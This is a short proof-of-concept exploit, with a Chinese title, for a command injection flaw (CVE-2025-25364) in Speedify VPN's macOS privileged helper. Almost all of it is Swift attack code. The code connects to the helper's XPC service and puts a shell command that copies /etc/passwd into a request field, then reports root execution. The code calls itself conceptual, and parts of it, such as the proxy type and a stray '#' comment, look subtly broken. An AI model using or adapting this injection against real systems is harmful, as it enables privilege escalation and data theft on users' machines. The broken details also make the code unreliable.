CVE-2025-25364 Speedify VPN XPC服务命令注入漏洞

# CVE-2025-25364 PoC - Speedify VPN SMJobBlessHelper Command Injection # This PoC demonstrates the command injection vulnerability in Speedify VPN's XPC service import Foundation // XPC Service Identifier for SMJobBlessHelper let serviceName = "me.connectify.SMJobBlessHelper" // Create XPC Connection let connection = NSXPCConnection(serviceName: serviceName) connection.resume() // Get the remote proxy let service = connection.remoteObjectProxyWithErrorHandler { error in print("XPC Connection Error: \(error)") } as? NSXPCProxyChecking // Malicious payload - command injection // Attackers can inject arbitrary shell commands through XPC message let maliciousCommand = "; cat /etc/passwd > /tmp/stolen_data.txt #" // Construct the exploit request let exploitRequest: [String: Any] = [ "action": "bless", "helperPath": maliciousCommand, "targetBundle": "/Applications/Speedify.app" ] // Send the malicious request to XPC service if let proxy = service { proxy.handleMessage(exploitRequest, reply: { response in if let result = response as? [String: Any], let success = result["success"] as? Bool, success { print("Exploit successful - command executed with root privileges") print("Stolen data saved to /tmp/stolen_data.txt") } }) } // Note: This is a conceptual PoC. Actual exploitation requires specific # conditions and proper XPC interface knowledge.